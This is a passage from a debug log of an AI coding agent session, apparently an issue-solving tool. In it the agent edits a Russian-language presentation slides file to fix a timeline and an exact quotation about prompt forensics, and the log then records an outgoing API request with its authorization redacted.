\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 [\u2026] \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\\n> \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u00bb.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:51:26.220Z] [INFO]           \"description\": \"Fix timeline order and exact quote\"\n[2026-09-29T07:51:26.220Z] [INFO]         },\n[2026-09-29T07:51:26.220Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:26.220Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:26.220Z] [INFO]         }\n[2026-09-29T07:51:26.220Z] [INFO]       }\n[2026-09-29T07:51:26.220Z] [INFO]     ],\n[2026-09-29T07:51:26.220Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:26.220Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:26.220Z] [INFO]       \"cache_creation_input_tokens\": 1726,\n[2026-09-29T07:51:26.220Z] [INFO]       \"cache_read_input_tokens\": 98463,\n[2026-09-29T07:51:26.220Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:26.220Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:26.220Z] [INFO]         \"ephemeral_1h_input_tokens\": 1726\n[2026-09-29T07:51:26.220Z] [INFO]       },\n[2026-09-29T07:51:26.220Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:51:26.220Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:26.220Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:26.220Z] [INFO]     },\n[2026-09-29T07:51:26.220Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:26.220Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:26.220Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:26.220Z] [INFO]   },\n[2026-09-29T07:51:26.220Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:26.220Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"uuid\": \"61d6fcb8-e767-4743-88a4-fc4c7501f0e7\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:26.207Z\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"request_id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:26.220Z] [INFO]     \"toolu_01HhvHiY2hrfxUMPXQche2yK\": {\n[2026-09-29T07:51:26.220Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\npairs=[(\\\"\\\"\\\"- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 [\u2026] \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\\n> \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u00bb.\\\"\\\"\\\")]\\nfor a,b in pairs:\\n    assert s.count(a)==1; s=s.replace(a,b)\\nopen(p,'w').write(s)\\nEOF\",\n[2026-09-29T07:51:26.220Z] [INFO]       \"description\": \"Fix timeline order and exact quote\"\n[2026-09-29T07:51:26.220Z] [INFO]     }\n[2026-09-29T07:51:26.220Z] [INFO]   },\n[2026-09-29T07:51:26.220Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:51:26.220Z] [INFO]     \"toolu_01HhvHiY2hrfxUMPXQche2yK\": {\n[2026-09-29T07:51:26.220Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation\"\n[2026-09-29T07:51:26.220Z] [INFO]     }\n[2026-09-29T07:51:26.220Z] [INFO]   }\n[2026-09-29T07:51:26.220Z] [INFO] }\n[2026-09-29T07:51:27.871Z] [INFO] {\n[2026-09-29T07:51:27.871Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"message\": {\n[2026-09-29T07:51:27.871Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:27.871Z] [INFO]     \"content\": [\n[2026-09-29T07:51:27.871Z] [INFO]       {\n[2026-09-29T07:51:27.871Z] [INFO]         \"tool_use_id\": \"toolu_01HhvHiY2hrfxUMPXQche2yK\",\n[2026-09-29T07:51:27.871Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:27.871Z] [INFO]         \"content\": \"(Bash completed with no output)\",\n[2026-09-29T07:51:27.871Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:27.871Z] [INFO]       }\n[2026-09-29T07:51:27.871Z] [INFO]     ]\n[2026-09-29T07:51:27.871Z] [INFO]   },\n[2026-09-29T07:51:27.871Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:27.871Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"uuid\": \"f84f7b68-ebcd-448e-9e7a-e1680f3a188a\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:27.866Z\",\n[2026-09-29T07:51:27.871Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:27.871Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T07:51:27.871Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:27.871Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:27.871Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:27.871Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:27.871Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:27.871Z] [INFO]       \"files\": [\n[2026-09-29T07:51:27.871Z] [INFO]         {\n[2026-09-29T07:51:27.871Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:27.871Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:27.871Z] [INFO]             {\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldStart\": 187,\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldLines\": 11,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newStart\": 187,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newLines\": 11,\n[2026-09-29T07:51:27.871Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" **\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" - **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"   \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\"\n[2026-09-29T07:51:27.871Z] [INFO]               ]\n[2026-09-29T07:51:27.871Z] [INFO]             },\n[2026-09-29T07:51:27.871Z] [INFO]             {\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldStart\": 199,\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newStart\": 199,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:27.871Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:27.871Z] [INFO]                 \"   \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" > **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 [\u2026] \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+> \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u00bb.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\"\n[2026-09-29T07:51:27.871Z] [INFO]               ]\n[2026-09-29T07:51:27.871Z] [INFO]             }\n[2026-09-29T07:51:27.871Z] [INFO]           ]\n[2026-09-29T07:51:27.871Z] [INFO]         }\n[2026-09-29T07:51:27.871Z] [INFO]       ],\n[2026-09-29T07:51:27.871Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:27.871Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:51:27.871Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\"\n[2026-09-29T07:51:27.871Z] [INFO]       ]\n[2026-09-29T07:51:27.871Z] [INFO]     }\n[2026-09-29T07:51:27.871Z] [INFO]   }\n[2026-09-29T07:51:27.871Z] [INFO] }\n[2026-09-29T07:51:27.919Z] [STDOUT] [log_c3f162] sending request {\n[2026-09-29T07:51:27.926Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:27.932Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:27.946Z] [STDOUT]   options: {\n[2026-09-29T07:51:27.950Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:27.961Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:27.966Z] [STDOUT]     body: {\n[2026-09-29T07:51:27.970Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:27.974Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:27.977Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:27.981Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:27.983Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:27.986Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:27.989Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:27.992Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:27.995Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:27.999Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:28.001Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:28.007Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:28.011Z] [STDOUT]     },\n[2026-09-29T07:51:28.019Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:28.027Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:28.033Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:28.037Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:28.041Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:28.046Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:28.049Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:28.055Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:28.061Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:28.070Z] [STDOUT]     },\n[2026-09-29T07:51:28.073Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:28.077Z] [STDOUT]   },\n[2026-09-29T07:51:28.081Z] [STDOUT]   headers: {\n[2026-09-29T07:51:28.084Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:28.088Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:28.093Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:28.095Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:28.098Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:28.100Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:28.103Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:28.107Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:28.110Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:28.119Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1639\",\n[2026-09-29T07:51:28.125Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:28.128Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:28.136Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:28.145Z] [STDOUT]     \"x-client-request-id\": \"aa2a7c31-035b-434e-9ed0-d4bd2b91284d\",\n[2026-09-29T07:51:28.156Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:28.164Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:28.169Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:28.175Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:28.181Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:28.185Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:28.189Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:28.197Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:28.203Z] [STDOUT]   },\n[2026-09-29T07:51:28.216Z] [STDOUT] }\n[2026-09-29T07:51:28.702Z] [STDOUT] [log_c3f162, request-id: \"req_011CfXNDXR7QBqP2YKYbPnnJ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 782ms\n[2026-09-29T07:51:28.705Z] [STDOUT] [log_c3f162] response start {\n[2026-09-29T07:51:28.708Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:28.719Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:28.731Z] [STDOUT]   headers: {\n[2026-09-29T07:51:28.734Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:28.741Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": 